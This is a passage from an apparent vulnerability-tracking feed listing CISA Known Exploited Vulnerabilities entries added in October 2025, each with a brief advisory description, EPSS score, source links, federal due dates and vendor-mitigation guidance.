Motex LANSCOPE Endpoint Manager contains an improper verification of source of a communication channel vulnerability allowing an attacker to execute arbitrary code by sending specially crafted packets.
EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61932&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-61932: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61932&date=2026-10-25
CISA added this entry on 2025-10-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 22, 2025; federal due date Nov 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Unspecified Vulnerability
https://kevwire.com/record/CVE-2022-48503
Apple Multiple Products Unspecified Vulnerability (Oct 20, 2025).
Apple macOS, iOS, tvOS, Safari, and watchOS contain an unspecified vulnerability in JavaScriptCore that when processing web content may lead to arbitrary code execution. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-48503&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-48503: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-48503&date=2026-10-25
CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2025-2746
Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability (Oct 20, 2025).
Kentico Xperience CMS contains an authentication bypass using an alternate path or channel vulnerability that could allow an attacker to control administrative objects.
EPSS 74.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2746&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-2746: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2746&date=2026-10-25
CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2025-2747
Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability (Oct 20, 2025).
Kentico Xperience CMS contains an authentication bypass using an alternate path or channel vulnerability that could allow an attacker to control administrative objects.
EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2747&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-2747: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2747&date=2026-10-25
CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SMB Client Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2025-33073
Microsoft Windows SMB Client Improper Access Control Vulnerability (Oct 20, 2025).
Microsoft Windows SMB Client contains an improper access control vulnerability that could allow for privilege escalation. An attacker could execute a specially crafted malicious script to coerce the victim machine to connect back to the attack system using SMB and authenticate.
EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-33073&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-33073: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-33073&date=2026-10-25
CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle E-Business Suite Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2025-61884
Oracle E-Business Suite Server-Side Request Forgery (SSRF) Vulnerability (Oct 20, 2025).
Oracle E-Business Suite contains a server-side request forgery (SSRF) vulnerability in the Runtime component of Oracle Configurator. This vulnerability is remotely exploitable without authentication.
EPSS 95.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61884&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-61884: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61884&date=2026-10-25
CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Experience Manager Forms Code Execution Vulnerability
https://kevwire.com/record/CVE-2025-54253
Adobe Experience Manager Forms Code Execution Vulnerability (Oct 15, 2025).
Adobe Experience Manager Forms in JEE contains an unspecified vulnerability that allows for arbitrary code execution.
EPSS 88.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54253&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-54253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54253&date=2026-10-25
CISA added this entry on 2025-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 15, 2025; federal due date Nov 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IGEL OS Use of a Key Past its Expiration Date Vulnerability
https://kevwire.com/record/CVE-2025-47827
IGEL OS Use of a Key Past its Expiration Date Vulnerability (Oct 14, 2025).
IGEL OS contains a use of a key past its expiration date vulnerability that allows for Secure Boot bypass. The igel-flash-driver module improperly verifies a cryptographic signature. Ultimately, a crafted root filesystem can be mounted from an unverified SquashFS image.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47827&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-47827: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47827&date=2026-10-25
CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Untrusted Pointer Dereference Vulnerability
https://kevwire.com/record/CVE-2025-24990
Microsoft Windows Untrusted Pointer Dereference Vulnerability (Oct 14, 2025).
Microsoft Windows Agere Modem Driver contains an untrusted pointer dereference vulnerability that allows for privilege escalation. An attacker who successfully exploited this vulnerability could gain administrator privileges.
EPSS 6.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24990&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24990&date=2026-10-25
CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2025-59230
Microsoft Windows Improper Access Control Vulnerability (Oct 14, 2025).
Microsoft Windows contains an improper access control vulnerability in Windows Remote Access Connection Manager which could allow an authorized attacker to elevate privileges locally.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59230&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-59230: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59230&date=2026-10-25
CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SKYSEA Client View Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2016-7836
SKYSEA Client View Improper Authentication Vulnerability (Oct 14, 2025).
SKYSEA Client View contains an improper authentication vulnerability that allows remote code execution via a flaw in processing authentication on the TCP connection with the management console program.
EPSS 19.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7836&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7836: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7836&date=2026-10-25
CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Grafana Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-43798
Grafana Path Traversal Vulnerability (Oct 9, 2025).
Grafana contains a path traversal vulnerability that could allow access to local files.
EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-43798&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-43798: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-43798&date=2026-10-25
CISA added this entry on 2025-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 9, 2025; federal due date Oct 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability
https://kevwire.com/record/CVE-2025-27915
Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability (Oct 7, 2025).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that exists in the Classic Web Client due to insufficient sanitization of HTML content in ICS files. When a user views an e-mail message containing a malicious ICS entry, its embedded JavaScript executes via an ontoggle event inside a tag. This allows an attacker to run arbitrary JavaScript within the victim's session, potentially leading to unauthorized actions such as setting e-mail filters to redirect messages to an attacker-controlled address. As a result, an attacker can perform unauthorized actions on the victim's account, including e-mail redirection and data exfiltration.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27915&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-27915: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27915&date=2026-10-25
CISA added this entry on 2025-10-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 7, 2025; federal due date Oct 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Heap Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2021-22555
Linux Kernel Heap Out-of-Bounds Write Vulnerability (Oct 6, 2025).
Linux Kernel contains a heap out-of-bounds write vulnerability that could allow an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.
EPSS 78.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22555&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22555: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22555&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2010-3962
Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability (Oct 6, 2025).
Microsoft Internet Explorer contains an uninitialized memory corruption vulnerability that could allow for remote code execution. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 96.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3962&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-3962: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3962&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-43226
Microsoft Windows Privilege Escalation Vulnerability (Oct 6, 2025).
Microsoft Windows Common Log File System Driver contains a privilege escalation vulnerability that could allow a local, privileged attacker to bypass certain security mechanisms.
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-43226&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-43226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-43226&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2013-3918
Microsoft Windows Out-of-Bounds Write Vulnerability (Oct 6, 2025).
Microsoft Windows contains an out-of-bounds write vulnerability in the InformationCardSigninHelper Class ActiveX control, icardie.dll. An attacker could exploit the vulnerability by constructing a specially crafted webpage. When a user views the webpage, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 73.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3918&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3918: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3918&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2011-3402
Microsoft Windows Remote Code Execution Vulnerability (Oct 6, 2025).
Microsoft Windows Kernel contains an unspecified vulnerability in the TrueType font parsing engine in win32k.sys in the kernel-mode drivers that allows remote attackers to execute arbitrary code via crafted font data in a Word document or web page.
EPSS 78.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-3402&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-3402: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-3402&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2010-3765
Mozilla Multiple Products Remote Code Execution Vulnerability (Oct 6, 2025).
Mozilla Firefox, SeaMonkey, and Thunderbird contain an unspecified vulnerability when JavaScript is enabled. This allows remote attackers to execute arbitrary code via vectors related to nsCSSFrameConstructor::ContentAppended, the appendChild method, incorrect index tracking, and the creation of multiple frames, which triggers memory corruption.
EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3765&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-3765: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3765&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle E-Business Suite Unspecified Vulnerability
https://kevwire.com/record/CVE-2025-61882
Oracle E-Business Suite Unspecified Vulnerability (Oct 6, 2025).
Oracle E-Business Suite contains an unspecified vulnerability in the BI Publisher Integration component. The vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Successful attacks can result in takeover of Oracle Concurrent Processing.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61882&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-61882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61882&date=2026-10-25
CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GNU Bash OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2014-6278
GNU Bash OS Command Injection Vulnerability (Oct 2, 2025).
GNU Bash contains an OS command injection vulnerability which allows remote attackers to execute arbitrary commands via a crafted environment.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6278&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-6278: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6278&date=2026-10-25
CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Jenkins Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-1000353
Jenkins Remote Code Execution Vulnerability (Oct 2, 2025).
Jenkins contains a remote code execution vulnerability. This vulnerability that could allowed attackers to transfer a serialized Java SignedObject object to the remoting-based Jenkins CLI, that would be deserialized using a new ObjectInputStream, bypassing the existing blocklist-based protection mechanism.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-1000353&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-1000353: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-1000353&date=2026-10-25
CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper ScreenOS Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2015-7755
Juniper ScreenOS Improper Authentication Vulnerability (Oct 2, 2025).
Juniper ScreenOS contains an improper authentication vulnerability that could allow unauthorized remote administrative access to the device.
EPSS 61.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-7755&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-7755: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-7755&date=2026-10-25
CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-21043
Samsung Mobile Devices Out-of-Bounds Write Vulnerability (Oct 2, 2025).
Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so which allows remote attackers to execute arbitrary code.
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21043&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21043: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21043&date=2026-10-25
CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

